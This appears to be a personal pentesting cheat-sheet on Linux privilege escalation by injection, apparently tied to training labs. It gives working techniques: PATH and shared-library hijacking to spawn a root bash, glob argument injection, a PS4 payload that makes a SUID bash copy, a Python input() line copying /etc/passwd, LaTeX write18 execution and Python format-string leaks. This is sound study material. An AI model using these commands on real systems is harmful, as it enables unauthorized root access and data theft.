Injection

If there is some code that can is executed as another user, for instance, a scheduled task or a program with the SUID bit, you may be able to modify the code behavior using injection.

➑️ You may need/want to create a root bash.

There are basic scenarios in which you can directly exploit the executable, but in other scenarios, you may have to exploit the environment itself. In short, it means you may:

  • 🌸 edit the environment variables
  • 🌿 edit the files used by the program
  • 🎭 create a file named after the parameters of the command. For instance, if the code uses a glob-pattern, the pattern will be replaced with the matching files. So, you may inject parameters.
  • 🐦 use a flaw in the script language
  • ...

Path Environment variable 🌸

linprivesc linuxprivesc commonlinuxprivesc linuxprivilegeescalation mustacchio bash_system_1 bash_system_2

If you can run a script, you may try to see if the script uses your PATH to work. The easiest way to test that is to empty your PATH.

$ bash -c 'export PATH=; <execute the script>'
"xxx" command not found ====> OK!

You can then try to replace the command binary by a rootbash.

$ ls /tmp/rootbash # assuming you created your rootbash
$ ln -s /tmp/rootbash # replace the command "xxx"
$ bash -c 'export PATH=/tmp:$PATH; <execute the script>'
<your bash is called>

⚠️ If you are not able to edit the PATH, try to see if you can write files in a folder in the PATH that is before the original folder.

Unfortunately, this doesn't work when the command is invoked with some options, such as tail -f /var/log/nginx/access.log.

The trick is to create a script that launches our command. Refer to Root Bash Script.

$ ln -s /tmp/root.sh /tmp/xxx # your command
$ bash -c 'export PATH=/tmp:$PATH; <execute the script>'
<your bash is called>

Parameters injection 🎭

linuxstrengthtraining linuxprivilegeescalation

We can inject arguments when glob-patterns are replaced, e.g., by creating file named after the command arguments.

To execute any command manipulating a filename starting with -, you need to use -- such as rm -- -la to remove the file -la.

For instance, to inject -la into ls *:

$ touch -- -la
$ ls
-la
$ ls * # * was replaced by -la
total 8
drwxr-xr-x 2 xxx xxx 4096 Apr 29 18:50 .
drwxr-xr-x 9 xxx xxx 4096 Apr 29 18:50 ..
-rw-r--r-- 1 xxx xxx    0 Apr 29 18:50 -la

Library Hijacking

linuxprivilegeescalation shared_objects_hijacking

Shared Object Hijacking or Linker Hijacking is a technique in which we load a malicious .so file when executing a potentially misconfigured binary such as ls in a potentially misconfigured environment.

A environment is misconfigured when we have write access to a folder defined in /etc/ld.so.conf. Such folders are checked in order when looking for a .so. It includes standard folders such as /lib or /usr/lib and may include non-standard writable paths.

If we find a suspicious binary, we can examine it:

$ ldd <binary>
$ readelf -d <binary>

If the binary has the RUNPATH folder set and it points to a file/folder we can write to, then we can load our .so.

To write a static binary (.so), refer to rootbash#static binary section.

Misconfigured Python installations may also be vulnerable if we are able to write python scripts in the module path.

$ python3 -c 'import sys; print("\n".join(sys.path))'

Check every imported package using pip3 show <package>. If the package is imported from a location that is below a folder in which you can write to, then you can inject your own code.


Bash scripts failures 🐦

Bash versions <4.2-048: it is possible to create functions named after a path, which allows us to execute a command instead. If the path is accessed by a script, then using -p, we can create a bash while inheriting the permissions of its creator.

function /some/path { /bin/bash -p; }
export -f /some/path

Bash <4.4: if debug is enabled, we can inject code in the environment variable PS4 used by bash. If the script has the SUID bit, then using this, we could create a bash with the SUID bit too.

$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/; chmod +xs /tmp/bash)' ./script

Special scenarios πŸ“š

As a reminder, if you can execute commands, then refer to command injection for a list of tips and tricks.


Python input() function

python_input

This command is used to prompt the user for input. The problem is that we can write python code (e.g., 5+5).

open('/tmp/passwd_dump', 'w').write(open('/etc/passwd', 'r').read())

Latex directives

latex_input latex_command_execution

If we can compile LaTeX, we may be able to

  • Execute commands (\immediate\write18{xxx > buffer}, \verbatiminput{buffer} or using xxx 1>&2).
  • Read non-LaTeX files using \input{path_to_file} or using \usepackage{verbatim} \verbatiminput{myfile.txt} (comments)

Bash Script Arguments

bash_unquoted

If the script uses the argument without quoting them nor validating them, we may be able to inject parameters.

$ cat xxx.sh
ls $1
$ ./xxx.sh "-la ."

Python format() function

python_format_string python_format_string

The python format function may be exploited to access variables from the code and display them. In the example below, we access the method __init__ while any methods of the class would work. We can then relatively access other members of the class, or move up and access members of the parent global namespace.

class X:
   pass
       
instance = X()
"{x.__init__}".format(x=x)
"{x.__init__.__globals__}".format(x=x)
"{x.__init__.__globals__[X]}".format(x=x)
"{x.__init__.__globals__[X][index]}".format(x=x) # one by one

We can alternatively use error messages.

  • Since Python 3.10, an additional message body was added when using an invalid string after ":".
>>> "{x:toto}".format(x=5)
# ValueError: Invalid format specifier 'toto' for object of type 'int'
  • For every version of python, an exception is raised when we use an unknown format code (e.g. s for string, as in "%s").
>>> "{x:s}".format(x=5)
# ValueError: Unknown format code 's' for object of type 'int'

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.